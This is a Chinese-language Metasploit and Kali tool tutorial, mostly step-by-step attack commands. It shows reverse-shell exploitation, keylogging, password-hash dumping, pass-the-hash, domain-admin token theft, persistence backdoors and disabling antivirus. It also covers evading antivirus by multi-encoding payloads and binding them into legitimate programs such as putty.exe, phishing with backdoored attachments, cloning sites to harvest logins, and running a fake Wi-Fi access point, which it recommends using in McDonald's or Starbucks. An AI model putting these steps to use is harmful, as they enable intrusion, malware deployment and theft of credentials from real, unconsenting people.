metasploit

一.名詞解釋

exploit
測試者利用它來***一個系統,程序,或服務,以獲得開發者意料之外的結果。常見的有內存溢出,網站程序漏洞利用,配置錯誤exploit。
payload
我們想讓被***系統執行的程序,如reverse shell 可以從目標機器與測試者之間建立一 個反響連接,bind shell 綁定一個執行命令的通道至測試者的機器。payload 也可以是只能在目標機器上執行有限命令的程序。
shellcode
是進行***時的一系列被當作payload 的指令,通常在目標機器上執行之後提供一個可執行命令的shell。
module
msf 的模塊,由一系列代碼組成。
listener
等待來自被***機器的incoming 連接的監聽在測試者機器上的程序

二. 編碼器

msfencode –l 查看可用的編碼器(encoders),效果最佳的是x86/shikata_ga_nai

三.信息刺探與收集1、***第一步:基礎信息收集

①whois 查詢:
msf > whois example.com
msf> whois 192.168.1.100

②在線手機服務器IP工具

③nslookup
set type=mx
example.com

2、用Nmap 探測開放端口和服務:

-sS SYN 半開掃描
-sT TCP 半開掃描
-Pn 不使用ping方式探測主機
-A 探測服務類型
-6 開啓IPV6 掃描
-O 探測操作系統版本

常用掃描參數組合:
nmap –sS –Pn 192.168.0.111
nmap –sS –Pn –A 192.168.0.111

3、MSF 與postgresql 協同工作

/etc/init.d/postgreql-8.3 start
msf> db_connect postgres:[email protected]/msf
msf> db_status
導入nmap 掃描的結果:
nmap –sS –Pn –A –oX Subnet1 192.168.1.0/24 # -oX 掃描結果導出爲Subnet1.xml
msf> db_import Subnet1.xml
msf> db_hosts –c address #查看導入的主機IP
(msf 也可以和MySQL 一起工作,在bt5 r1 中msf 默認支持連接mysql:
msf> db_driver mysql
msf> db_connect root:[email protected]/msf3 #連接本機mysql 的msf3 數據庫
mysql 默認密碼toor,使用db_connect 連接時會自動創建msf3 庫)

4、高級掃描方式:

①msf> use auxiliary/scanner/ip/ipidseq #IPID 序列掃描器,與nmap 的-sI -O 選項類似
show options
set RHOSTS 192.168.1.0/24
set RPORT 8080
set THREADS 50
run
(RHOSTS、RPORT 等參數也可以用小寫)
②msf> nmap –PN –sI 192.168.1.09 192.168.1.155
③nmap 連接數據庫:
msf> db_connect postgres:[email protected]/msf
msf> db_nmap –sS –A 192.168.1.111
msf> db_services #查看掃描結果
④使用portscan 模塊:
msf> search postscan
msf> use scanner/postscan/syn
set RHOSTS 192.168.1.111
set THREADS 50
run

5、特定掃描:

smb_version 模塊:
msf> use auxiliary/scanner/smb/smb_version
show options
set RHOSTS 192.168.1.111
run
db_hosts –c address,os_flavor
查找mssql 主機:
msf> use auxiliary/scanner/mssql/mssql_ping
show options
set RHOSTS 192.168.1.0/24
set THREADS 255
run
SSH 服務器掃描:
msf> use auxiliary/scanner/ssh/ssh_version
set THREADS 50
run
FTP 主機掃描:
msf> use auxiliary/scanner/ftp/ftp_version
show options
set RHOSTS 192.168.1.0/24
set THREADS 255
run
掃描FTP 匿名登錄:
use auxiliary/scanner/ftp/anonymos
set RHOSTS 192.168.1.0/24
set THREADS 50
run
掃描SNMP 主機:
msf> use auxiliary/scanner/snmp/snmp_login
set RHOSTS 192.168.1.0/24
set THREADS 50
run

四.基本漏洞掃描

1、使用nc 與目標端口通信,獲取目標端口的信息:
nc 192.168.1.111 80
GET HTTP 1/1
Server: Microsoft-IIS/5.1
(1):還有一個功能與nc 類似的工具Ncat,產自nmap 社區,可實現相同功能:
ncat -C 192.168.1.111 80
GET / HTTP/1.0

(2):題外:ncat 還可以做聊天服務器呢!在服務器端監聽然後多個客戶端直接連上就
可以聊天了:服務器(chatserver):ncatncat -l –chat 其他客戶端:ncat chatserver

(3):ncat 還可以用來查看各種客戶端的請求信息,比如論壇裏有人問中國菜刀有木有後門,那麼可以這樣查看中國菜刀連接後門時發送的數據:
服務器(server.example.com)上:ncat -l –keep-open 80 –output caidao.log > /dev/null
然後使用菜刀連接http://server.example.com/nc.php 並請求操作,這是菜刀發送的數據就保存到服務器的caidao.log 裏面了。也可以導出爲hex 格式,–output 換爲–hex-dump就可以了。

(4):其實與nc 功能類似的工具在bt5 裏面還有很多,比如還有一個sbd:
監聽:sbd -l -p 12345
連接:sbd 192.168.1.111 12345

(5):當然也可以用來聊天,與ncat 的不同之處在於ncat 自動對用戶編號user1、user2、…,
而sbd 可以自定義暱稱,且不需要專門單獨監聽爲聊天服務器:
pc1:sbd -l -p 12345 -P chowner
pc2:sbd pc1 12345 -P evil

(6):其實nc 也可以用來聊天的:
pc1:nc -l -p 12345
pc2:telnet pc1 12345)

3、與nessus 結合掃描:

使用Nessus 掃描完成後生成.nessus 格式的報告,導入到MSF:
db_connect postgres:[email protected]/msf
db_import /tmp/nessus_report_Host_test.nessus
db_hosts –c address,svcs,vulns
db_vulns
在MSF 中使用Nessus:
db_connect postgres:[email protected]/msf
load nessus
nessus_connect nessus:[email protected]:8834 ok
nessus_policy_list #查看存在的掃描規則
nessus_scan_new 2 bridge_scan 192.168.1.111 #2 表示規則的ID 號,bridge_scan 自定義掃描名稱
nessus_scan_status #查看掃描進行狀態
nessus_report_list #查看掃描結果
nessus_report_get skjla243-3b5d-* #導入報告
db_hosts –c address,svcs,vulns

4、特殊掃描:

SMB 弱口令:
msf> use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.1.111-222
set SMBUser Administrator
set SMBPass admin
run
VNC 空口令:
msf> use auxiliary/scanner/vnc/vnc_none_auth
set RHOSTS 192.168.1.111
run
Open X11 空口令:
msf> use auxiliary/scanner/x11/open_x11
set RHOST 192.168.1.0/24
set THREADS 50
run
當掃描到此漏洞的主機後可以使用xspy 工具來監視對方的鍵盤輸入:
cd /pentest/sniffers/xspy/
./xspy –display 192.168.1.125:0 –delay 100
(xspy 這貨在bt5 r1 裏面貌似木有了)

五.基礎溢出命令

1、基本命令:
查看可用溢出模塊show exploits
查看輔助模塊show auxiliary 包括掃描器,拒絕服務模塊,fuzzer 工具或其他。
查看可用選項show options
加載模塊後退出此模塊back
例子:
msf> use windows/smb/ms08_067_netapi
back
搜索模塊search
例子: searh mssql search ms08_067
查看當前模塊可用的payload: show payloads
例子:
use windows/smb/ms08_067_netapi
show payloads
set payload windows/shell/reverse_tcp
show options
**查看可選的目標類型**show targets
**查看更多信息**info
設置一個選項或取消設置set/unset
設置或取消全局選項setg/unsetg 例如設置LHOST 就可以用setg,避免後面重複設置
保存全局選項的設置save 當下次啓動仍然生效
查看建立的session sessions –l
激活session sessions –i num #num 爲session 編號

2、暴力端口探測:
當主機端口對外開放但是普通探測方法無法探測到時,用此模塊,msf 將對目標的所有
端口進行嘗試,直到找到一個開放端口並與測試者建立連接。
例子:
use exploit/windows/smb/ms08_067_netapi
set LHOST 192.168.1.111
set RHOST 192.168.1.122
set TARGET 39 #Windows XP SP3 Chinese - Simplified (NX)
search ports #搜索與ports 相關模塊
set PAYLOAD windows/meterpreter/reverse_tcp_allports
exploit –j #作爲後臺任務運行
sessions –l –v
sesssions –i 1

3、MSF 腳本文件:
爲了縮短測試時間可以將msf 命令寫入一個文件,然後在msf 中加載它。
加載方式:msfconsole 的resource 命令或者msfconsole 加上-r 選項
例子:
echo ‘version’ > resource.rc
echo ‘load sounds’ >> resource.rc
msfconsole –r resource.rc
例子:
echo ‘use exploit/windows/smb/ms08_067_netapi’ > autoexp.rc
echo ‘set RHOST 192.168.1.133’ >> autoexp.rc
echo ‘set PAYLOAD windows/meterpreter/reverse_tcp’ >> autoexp.rc
echo ‘set LHOST 192.168.1.111’ >> autoexp.rc
echo ‘exploit’ >> autoexp.rc
msfconsole
msf> resource autoexp.rc

六.METERPRETER

1、當對目標系統進行溢出時,使用meterpreter 作爲payload,給測試者返回一個shell,可用於在目標機器上執行更多的操作。
例子:
msf> nmap –sT –A –P0 192.168.1.130 #探測開放服務
假如已經探測到1433(TCP)和1434(UDP)端口(mssql),
msf> nmap –sU 192.168.1.130 –P 1434 #確認端口開放
msf> use auxiliary/scanner/mssql/mssql_ping
show options
set RHOSTS 192.168.1.1/24
set THREADS 20
exploit
至此可獲取服務器名稱,版本號等信息。
msf> use auxiliary/scanner/mssql/mssql_login
show options
set PASS_FILE /pentest/exploits/fasttrack/bin/dict/wordlist.txt
set RHOSTS 192.168.1.130
set THREADS 10
set verbose false
exploit
暴力猜解登陸密碼。接下來使用mssql 自帶的xp_cmdshell 功能添加賬戶:
msf> use exploit/windows/mssql/mssql_payload
show options
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.111
set LPORT 433
set RHOST 192.168.1.130
set PASSWORD password130
exploit
當獲取到一個meterpreter shell 後可以執行更多的操作:
獲取屏幕截圖:screenshot
獲取系統信息:sysinfo
獲取鍵盤記錄:
meterpreter> ps #查看目標機器進程,假設發現explorer.exe 的進程號爲1668:
meterpreter> migrate 1668 #插入該進程
meterpreter> run post/windows/capture/keylog_recorder #運行鍵盤記錄模塊,將擊鍵記錄保存到本地txt
cat /root/.msf3/loot/*.txt #查看結果
獲取系統賬號密碼:
meterpreter> use priv
meterpreter> run post/windows/gather/hashdump
當獲取到密碼的hash 之後無法破解出明文密碼且無法直接使用hash 登陸,需要使用
pass-the-hash 技術:
msf> use windows/smb/psexec
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.111
set LPORT 443
set RHOST 192.168.1.130
set SMBPass aad3b435b51404eeaad3b435b51404ee:b75989f65d1e04af7625ed712ac36c29
exploit
獲取到系統權限後我們可以新建一個普通賬號,然後使用此賬號執行我們的後門:
在目標機器上執行:net uaer hacker pass /add
本地生成一個後門程序:
msfpayload windows/meterpreter/reverse_tcp
LHOST=192.168.1.111 LPORT=443 X >payload.exe
將payload.exe 拷貝到目標機器然後使用新建立的賬號執行本地執行端口監聽,等待來自目標機器連接:
msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp
LHOST=192.168.1.111 LPORT=443
use priv
getsystem
getuid
至此取得SYSTEM 權限

2、令牌模擬:
當有域控賬戶登陸至服務器時可使用令牌模擬進行***取得域控權限,之後登陸其他機器時不需要登陸密碼。
meterpreter> ps # 查看目標機器進程,找出域控賬戶運行的進程ID,假如發現PID 爲380
meterpreter> steal_token 380
有時ps 命令列出的進程中可能不存在域控賬戶的進程,此時使用incognito 模塊查看可
用token:
meterpreter> use incognito
meterpreter> list_tokens –u #列出可用token,假如找到域控token
meterpreter> impersonate_token SNEAKS.IN\ihazdomainadmin
meterpreter> add_user hacker password –h 192.168.1.50 #在域控主機上添加賬戶
meterpreter> add_group_user “Domain Admins” hacker –h 192.168.1.50 #將賬戶添加至域管理員組

3、內網***:
當取得同網段內一臺主機的權限後可以進一步***網內其他主機:
例子:
meterpreter> run get_local_subnets #查看網段/子網
Local subnet: 192.168.33.0/255.255.255.0
meterpreter> background #轉入後臺運行
msf> route add 192.168.33.0 255.255.255.0 1 #本地添加路由信息
msf> route print #查看添加的信息
msf> use Linux/samba/lsa_transnames_heap #準備向內網目標主機進攻
set payload linux/x86/shell/reverse_tcp
set LHOST 10.10.1.129 #此處爲attacking 主機的外網IP
set LPORT 8080
set RHOST 192.168.33.132 #內網目標主機
exploit
也可以使用自動式添加路由模塊:
msf> load auto_add_route
msf> exploit

4、Meterpreter 腳本:
使用run scriptname 方式執行
①vnc 腳本,獲取遠程機器vnc 界面控制
meterpreter> run vnc
meterpreter> run screen_unlock
②進程遷移
當***成功後將連接進程從不穩定進程(如使用瀏覽器溢出漏洞exp 進行***時瀏覽器可能會被目標關閉)遷移至穩定進程(explorer.exe),保持可連接。
例子:
meterpreter> run post/windows/manage/migrate
(在64 位win7 中migrate 需要管理員權限執行後門才能成功,而migrate 前後獲取的
權限是有差異的。)
③關閉殺毒軟件
meterpreter> run killav (這個腳本要小心使用,可能導致目標機器藍屏死機。)
④獲取系統密碼hash
meterpreter> run hashdump
(64 位win7 下需要管理員權限執行後門且先getsystem,然後使用
run post/windows/gather/hashdump 來dump hash 成功率更高。
而且如果要使用shell 添加系統賬戶的話win7 下得先:
run post/windows/escalate/bypassuac ,不然可能不會成功。)
⑤獲取系統流量數據
meterpreter> run packtrecorder –i 1
⑥直搗黃龍
可以幹很多事情:獲取密碼,下載註冊表,獲取系統信息等
meterpreter> run scraper
⑦持久保持
當目標機器重啓之後仍然可以控制
meterpreter> run persistence –X –i 50 –p 443 –r 192.168.1.111
-X 開機啓動-i 連接超時時間–p 端口–rIP
下次連接時:
msf> use multi/handler
set payload windows/meterpreter/reverse_tcp
set LPOST 443
set LHOST 192.168.1.111
exploit
(會在以下位置和註冊表以隨機文件名寫入文件等信息,如:
C:\Users\YourtUserName\AppData\Local\Temp\MXIxVNCy.vbs
C:\Users\YourtUserName\AppData\Local\Temp\radF871B.tmp\svchost.exe
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\DjMzwzCDaoIcgNP)
⑧POST 整合模塊
可實現同時多個session 操作
例子:獲取hash
meterpreter> run post/windows/gather/hashdump
其他還有很多,使用TAB 鍵補全看下就知道run post/

5、升級command shell
例子:
msfconsole
msf> search ms08_067
msf> use windows/smb/ms08_067_netapi
set PAYLOAD windows/shell/reverse_tcp
set TARGET 3
setg LHOST 192.168.1.111
setg LPORT 8080
exploit –z #後臺運行,如果此處未使用-z 參數,後面可以按CTRL-Z 轉到後臺
sessions –u 1 #升級shell,必須前面使用setg 設定
sessions –i 2

6、使用Railgun 操作windows APIs
例子:
meterpreter> irb

client.railgun.user32.MessageBoxA(o,”hello”,”world”,”MB_OK”)
在目標機器上會彈出一個標題欄爲world 和內容爲hello 的窗口

七.避開殺軟

1、使用msfpayload 創建可執行後門:
例子:
msfpayload windows/shell_reverse_tcp 0 #查看選項
msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=31337 X >
/var/www/payload1.exe
然後本機監聽端口
msf> use exploit/multi/handler
show options
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.1.111
set LPORT 31337
exploit

2、過殺軟—使用msfencode 編碼後門:
msfencode –l #列出可用編碼器
例子:
msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=31337 R
|msfencode –e x86/shikata_ga_nai –t exe > /var/www/payload2.exe
使用R 參數作爲raw 輸出至管道,再經過msfencode 處理,最後導出。

3、多次編碼:
例子:
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.111 LPORT=31337 R |
msfencode –e x86/shikata_ga_nai –c 5 –t raw | msfencode –e x86/alpha_upper –c 2 –t raw |
msfencode –e x86/shikata_ga_nai –c 5 –t raw | msfencode –e x86/countdown –c 5 –t exe –o
/var/www/payload3.exe
簡單編碼被殺機會很大,使用多次編碼效果更好,這裏一共使用了17 次循環編碼。
(題外:經測試,1:使用此命令生成的後門也被MSE 殺到;2:未編碼的後門或編碼次數較少的後門可以直接被秒殺;3:windows/x64/meterpreter/reverse_tcp 生成的後門未經任何處理仍然不被殺,看來殺毒軟件傻逼了;4:x86 編碼器編碼的後門在64 位機器上無法執行;5:360 有個沙箱功能,後門文件右鍵選擇“在360 隔離沙箱中運行”,msf照樣可以連接並操作,看來隔離沙箱功能有限。)

4、自定義可執行程序模板:
msfencode 默認使用data/templates/templates.exe(msf v4 在templates 目錄下有針對不同
平臺的不同模板)作爲可執行程序的模板,殺毒廠商也不是傻逼,所以這裏最好使用自定義模板,如:
wget http://download.sysinternals.com/Files/ProcessExplorer.zip
cd work
unzip ProcessExplorer.zip
cd ..
msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=8080 R | msfencode
–t exe –x work/procexp.exe –o /var/www/pe_backdoor.exe –e x86/shikata_ga_nai –c 5
在目標機器上運行,然後本地使用msfcli 監聽端口等待反彈連接:
msfcli exploit/multi/handler PAYLOAD=windows/shell_reverse_tcp LHOST=192.168.1.111
LPORT=8080 E

5、暗度陳倉—猥瑣執行payload:
綁定payload 至一個可執行文件,讓目標不知不覺間中招,以putty.exe 爲例:
msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=8080 R | msfencode
–t exe –x putty.exe -o /var/www/putty_backdoor.exe –e x86/shikata_ga_nai –k –c 5
假如選擇一個GUI 界面的程序作爲綁定目標並且不使用-k 選項,則目標執行此程序的時候不會彈出cmd 窗口,-k 選項的作用是payload 獨立於模板軟件的進程運行。

6、加殼:
msfencode 部分編碼器會增加程序體積,這時可使用殼(packer)來壓縮程序,“帶套之後更保險”,例如UPX :
apt-get install upx
最新版可到sf.NET 下載
使用方法:
upx -5 /var/www/payload3.exe
還有另外一個工具msfvenom 結合了msfpayload 和msfencode 的功能,使用起來更省心,
親,一定要試試哦!過殺軟總結起來就是多次編碼和使用多種殼,終極大法就是使用自己編寫的後門(市面上沒有,被殺機率更低)。

八.使用用戶端***方式(client-side attacks)

1、主要指利用多種途徑包括社會工程學方式***目標機器上安裝的帶有漏洞的程序如瀏覽
器,pdf 閱讀器,office 軟件等,最終獲取系統權限。
基於瀏覽器的***:
例子:
msf> use windows/browser/ms10_002_aurora
set payload windows/meterpreter/reverse_tcp
set SRVPORT 80
set URIPATH /
set LHOST 192.168.1.111
set LPORT 443
exploit –z
sessions –i 1
run migrate
或者:
msf> use windows/browser/ms10_002_aurora
show advanced
set ReverseConnectRetries 10
set AutoRunScript migrate –f
exploit
use priv
getsystem

2、文件格式exploit
利用文件格式的漏洞達到溢出的目的,比如PDF,word,圖片等。
例子:
msf> use windows/fileformat/ms11_006_createsizeddibsection
info
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.111
set LPORT 443
exploit
此時會生成一個msf.doc 的word 文檔,在目標機器上打開此文檔,然後本機監聽端口
等待反彈連接:
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.111
set LPORT 443
exploit –j

九.MSF 附加模塊

包括端口掃描,服務探測,弱口令探測,fuzzer,sql 注射等。附加模塊沒有payload。
模塊保存在/opt/framework3/msf3/modules/auxiliary/目錄中的各個子目錄下。
可用命令查看全部可用附加模塊:msf> show auxiliary
例子:
msf> use scanner/http/webdav_scanner
info
show options
set RHOSTS 192.168.1.141,192.168.1.142,192.168.2.222
run
搜索所有http 相關掃描模塊:
search scanner/http
附加模塊深層剖析:
cd /opt/framework3/msf3/modules/auxiliary/admin/
wget
http://carnal0wnage.googlecode.c … admin/random/foursq
ueare.rb
代碼分析:

require ‘msf/core’ class metasploit3 < Msf::Auxiliary #導入Auxiliaary 類 #Exploit mixins should be called first include Msf::Exploit::Remote::HttpClient #導入HTTPClient 方法 include Msf::Auxiliary::Report def initialize super( ‘Name’ => ‘Foursquare Location Poster’, ‘Version’ => ‘Revision:’, ‘Description’ => ‘F*ck with Foursquare,be anywhere you want to be by venue id’, ‘Author’ => [‘CG’], ‘License’ => MSF_LICENSE, ‘References’ => [ [‘URL’,’http://groups.google.com/group/foursquare-api’], [‘URL’,’http://www.mikekey.com/im-a-foursquare-cheater/’], ] #todo pass in geocoords instead of venueid,create a venueid, other tom foolery register_options( [ Opt::RHOST(‘api.foursquare.com’), OptString.new(‘VENUEID’,[true,’foursquare venueid’,’185675’]), OptString.new(‘USERNAME’,[true,’foursquare username’,’username’]), OptString.new(‘PASSWORD’,[true,’foursquare password’,’password’]), ],self.class) end def run begin user = datastore[‘USERNAME’] pass = datasore[‘PASSWORD’] venid = datastore[‘VENUEID’] user_pass = Rex::Text.encode_base64(user + “:” + pass) decode = Rex::Text.decode_base64(user_pass) postrequest = “twitter=1\n” #add facebook=1 if you want facebook print_status(“Base64 Encode User/Pass: #{user_pass}”) #debug print_status(“Base64 Decode User/Pass: #{decode}”) #debug res = send_request_cgi({ ‘uri’ => “/v1/checkin?vid=#{venid}”, ‘version’ => “1.1”, ‘method’ => ‘POST’, ‘data’ => postrequest, ‘headers’ => { ‘Authorization’ => “Basic #{user_pass}”, ‘Proxy-Connection’=> “Keep-Alive”, } },25) print_status(“#{res}”) end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout rescue ::Timeout::Error, ::Errno::EPIPE =>e pus e.message end end

ruby 白癡一個,代碼我也沒看懂,不解釋了
如何使用:
msf> search foursquare
msf> use admin/foursquare
set VENUEID 2584421
set USERNAME [email protected]
set PASSWORD ilovemetasploit
run

十.社會工程學工具集(SET)

主要功能:hacking the human mind。
1、SET 基本配置:
SET 位於/pentest/exploits/set/目錄
更新:
cd /pentest/exploits/set/
svn update
配置文件config/set_config,當使用基於web 的***方式時可以將email 功能打開:
vi config/set_config:
METASPLOIT_PATH=/opt/framework3/msf3
WEBATTACK_EMAIL=ON
使用Javaapplet attack 進行***的時候默認使用Microsoft 作爲發佈者名稱,如果需要自定義則需要安裝JDK 並打開配置項:
SELF_SIGNED_APPLET=ON
SET 默認打開AUTO_DETECT 項,自動探測本機IP 並用於***中的各項配置。如果本機是多網卡需要手動指定IP,則需將此項關閉:
AUTO_DETECT=OFF
SET 默認使用內建的Python 提供的web server 供使用,如需使用apache 作爲服務則需要本機安裝apache 並打開配置項:
APACHE_SERVER=ON

2、網絡釣魚***(Spear-Phishing Attack Vector):
利用文件格式漏洞(如PDF)等生成後門並通過email(GMAIL,SENDMAIL,)向目標發送帶後門附件的電子郵件,誘使目標打開附件激活後門。
例子:
./set
此時選擇菜單1.Spear-Phishing Attack Vectors
繼續選擇:1.Perform a Mass Email Attack
選擇exploit:8.Adobe Collab.collectEmailInfo Buffer Overflow
選擇payload:4.Windows Reverse TCP Shell
選擇是否更改文件名:1.Keep the filename
選擇發送郵件方式1.Email Attack Single Email Address
選擇郵件模板1.Pre-Defined Template
5.Status Report
輸入收件方email 地址:[email protected]
選擇發件方式:1.Use a GMAIL Account for your email attack
輸入發件gmail 和密碼
選擇是否立即監聽端口等待連接:yes
此時SET 會使用剛纔的設定全自動監聽指定端口。

3、WEB 方式***:
SET 可以克隆一個網站並植入後門以此迷惑目標打開此網站並中招。
Java Applet 方式:最成功的方式之一,並不是利用java 的漏洞,而是當目標瀏覽含後門的仿冒站點時會被詢問是否允許執行web 中的java applet,一旦點擊允許則payload 開始運行,目標將被重定向到真實的網站。
用戶端(Client-side)web exploit 方式:利用用戶端存在的軟件漏洞,一般使用0day進行***的效果最好。
賬號密碼獲取(Username and Password Harvesting):通過克隆一個目標站並誘使***目標登陸,截獲其賬號密碼。例如截獲GMAIL 密碼。
標籤頁綁架(Tabnabbing):當目標打開多個標籤頁瀏覽網站並切換標籤頁時,網站偵測到目標的行爲並顯示讓目標等待的信息,恰好目標打開了被綁架的標籤頁並要求在相似程度驚人的網站裏輸入登陸憑據,當目標輸入之後登陸信息即被截獲,同時被重定向到真實網站。
中間人***(Man-Left-in-the-Middle):此方式使用已經被攻陷的網站的HTTP 請求或者網站的XSS 漏洞讓用戶的登陸信息發送至***者的HTTP 服務器。如果你發現了一個網站的XSS 漏洞,可以利用此漏洞構造一個url 發送給目標誘使其打開並登陸以截獲登陸信息。
Web Jacking:當目標打開我們的網站時會有一個鏈接顯示爲正確的web 地址,此時若目標打開此仿冒鏈接會被定向到我們的仿冒網站,其登陸信息會被截獲。
混合模式(multi-attack):可同時使用以上多種***手段以提高成功率。
介質感染***(Infectious Media Generator):可以讓你生成一張光盤或者u 盤,裏面包含autorun.inf 來運行指定的後門文件或者file-format 漏洞文件。
迷你USB 人機接口設備(Teensy USB HID):當電腦插入USB 設備且autorun.inf 被禁用時,可使用此方法將USB 設備模擬成一個鍵盤或鼠標設備,進而截獲目標機器的擊鍵記錄。
SET 其他特殊功能:
包括SET 交互式shell,可用來替代meterpreter;遠程管理工具(RATTE);HTTP 隧道,當目標主機只開放HTTP 端口對外放行時可通過此功能與主機進行通信;WEB-GUI,包含了常用***和無線***嚮導,輸入./set-web 即可運行。
(SET 新版本變動較大,請自行摸索。)

十一.FAST-TRACK

Fast-Track 和SET 一樣都是python 編寫的,同樣是使用MSF 提供的payload 以及用戶端***嚮導等,作爲對MSF 的補充,它提供瞭如MSSQL ***,更多的exploit,瀏覽器***嚮導等。fasttrack 位於/pentest/exploits/fasttrack/。
交互式模式:./fast-track.py -i
命令行模式:./fast-track.py -c
Web 界面模式:./fast-track.py -g

1、MSSQL 工具:
MSSQL 注入漏洞***:
***時你只需要輸入有注入漏洞的url 地址,地址裏面用INJECTHERE 標識可注入字
段,如http://example.com/show.asp?id=INJECTHERE&date=2012,fast-track 會全自動注入,一旦成功會給你返回一個cmd shell。
注入也支持POST 參數,如果是POST 的話更加簡單,只需要你輸入url 地址,fast-track會自動判斷並嘗試進行注入。
SQL 暴力破解:另外一個實用的功能是暴力破解器(MSSQL Bruter),可以尋找mssql弱口令,一旦獲取到一個sa 權限的訪問權限,將自動返回一個shell。
SQL 注入批量掃描器(SQLPwnage):此功能可掃描指定網段的所有打開80 端口的主
機,並掃描是否存在sql 注入點,一旦發現注入點將自動嘗試***並通過xp_cmdshell
獲取系統權限。

2、Binary-HEX 轉換器:
當你已經進入一個系統且需要上傳可執行文件上去,就可以使用這個工具將可執行的二進制文件轉換爲HEX 十六進制編碼,然後複製粘貼過去即可。

3、批量用戶端***:
和瀏覽器***差不多,但是增加了對目標的ARP 緩衝區和DNS 感染(只能是在測試者
和目標處於同一網段的情況下),以及MSF 裏面沒有的瀏覽器溢出exploit。當目標瀏覽
惡意網站的時候,fast-track 嘗試着使用所有的exp 對目標機器進行溢出,一旦某個exp
起作用將獲取到目標機器的控制權限。
(新版本fasttrack 中還加入了Autopwn Automation、Nmap Scripting Engine、Exploits、Payload Generator 等新功能。)
腳本化的工具有時確實能減少很多工作時間,但是不能完全依賴於這類自動程度很高的
工具,特別是在用這些工具搞不定目標的時候,手工測試的能力往往纔是王道,細節決定成敗。

十二.KARMERASPLOIT

Karmetasploit = Karma + Metasploit,也可以說成它是MSF 的KARMA 實現。
Karma 和MSF 一樣也是使用ruby 語言編寫的,其功能是建立一個虛假的無線接入點,
等待目標連接上鉤。與MSF 結合可實現更強大的功能。Karmetasploit 集成了DNS,POP3,
IMAP4,SMTP,FTP,SMB,HTTP 等服務用於***,模塊位於modules/auxiliary/server 目錄下。
基本配置:
需要的配置不多,首先需要配置一個DHCP 服務爲目標提供動態IP 分配,配置文件:
option domain-name-servers 10.0.0.1;
default-lease-time 60;
max-lease-time 72;
ddns-update-style none;
authoritative;
log-facility local7;
subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.100 10.0.0.254;
option routers 10.0.0.1;
option domain-name-servers 10.0.0.1;}

將配置文件保存在/etc/dhcp3/dhcpd.conf
下一步下載karma msf 腳本:
wget http://www.offensive-security.com/downloads/karma.rc
將網卡激活爲監聽模式:
airmon-ng start wlan0
創建僞裝接入點,-P 可被掃描到,-C 信號發射速率,-e 接入點名稱(需要具有欺騙性),
-v 指定網卡,mon0 爲上一步完成後生成的:
airbase-ng -P -C 30 -e “China-Net-Free” -v mon0
此時會生成一個名爲at0 的新網卡接口。
接着打開DHCP 服務:
ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0
檢查是否成功啓動:
ps aux|grep dhcpd
tail -f /var/log/messages
下一步加載karma 腳本:
msf> resource karma.rc
等待收穫:
當對方打開郵件客戶端並登陸收取郵件,那麼他的賬戶密碼將被截獲,因爲他所連接的
DNS 和POP3 都是虛假的。
當對方打開瀏覽器準備瀏覽網頁時karma 開始截取cookie,建立虛假email,DNS 等服
務,加載exploits 來對付客戶端瀏覽器,如果走運的話可以獲取到shell。
總結:建議這招可以拿到麥當勞,星巴克用,效果更好。

十三.構建自己的模塊,編寫自己的exploit,meterpreter腳本編程

這三章留着後面看,需要有ruby 基礎等編程基礎。

十四.***實戰演習
首先需要下載並安裝一個專門用來練習***的虛擬機Metasploitable:
http://updates.metasploit.com/data/Metasploitable.zip.torrent
虛擬機IP:172.16.32.162 用戶名密碼:msfadmin
WINXP:172.16.32.131 開放80 端口有防火牆
情報收集:
nmap -sT -P0 172.16.32.131
msfconsole:
cd /opt/framework3/msf3/
msfconsole
msf> use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 172.15.32.129
set lport 443
load auto_add_route
exploit -j
run getgui -e -f 8080
shell
net user msf msf /add
net localgroup administrators msf /add
upload nmap.exe
nmap.exe -sT -A -P0 172.16.32.162
msf> use auxiliary/scanner/ftp/ftp_version
set RHOSTS 172.16.32.162
run
msf> use auxiliary/scanner/smtp/smtp_version
set RHOSTS 172.16.32.162
run
search tomcat_mgr_login
set rhosts 172.16.32.162
set threads 50
set rport 8180
set verbose false
run
use multi/http/tomcat_mgr_deploy
set password tomcat
set username tomcat
set rhost 172.16.32.162
set lport 9999
set rport 8180
set payload linux/x86/shell_bind_tcp
exploit
search distcc_exec
set payload linux/x86/shell_reverse_tcp
set lhost 172.16.32.129
set rhost 172.16.32.162
show payloads
set payload cmd/unix/reverse
exploit

十五.常用命令備忘

MSFconsole Commands

show exploits 查看所有exploit
show payloads 查看所有payload
show auxiliary 查看所有auxiliary
search name 搜索exploit 等
info 查看加載模塊的信息
use name 加載模塊
LHOST 本機IP
RHOST 目標IP
set function 設置選項值
setg function 全局設置
show options 查看選項
show targets 查看exp 可選的平臺
set target num 設置exp 作用平臺
set payload payload 設置payload
show advanced 查看高級選項
set autorunscript migrate -f 設置自動執行指令
check 測試是否可利用
exploit 執行exp 或模塊
exploit -j 作爲後臺執行
exploit -z 成功後不立即打開session
exploit -e encoder 指定encoder
exploit -h 查看幫助信息
sessions -l -v 列出可用sessions 詳細信息
sessions -s script 在指定session 執行腳本
sessions -K 結束session
sessions -c cmd 執行指定命令
sessions -u sessionID 升級shell
db_create name 創建數據庫
db_connect name 連接數據庫
db_nmap nmap 掃描並導入結果
db_autopwn -h 查看autopwn 幫助
db_autopwn -p -r -e 基於端口,反彈shell
db_destroy 刪除數據庫

Meterpreter Commands

help 查看幫助
run scriptname 運行腳本
sysinfo 系統基本信息
ls 列目錄
use priv 運行提權組件
ps 列進程
migrate PID PID 遷移
use incognito token 竊取
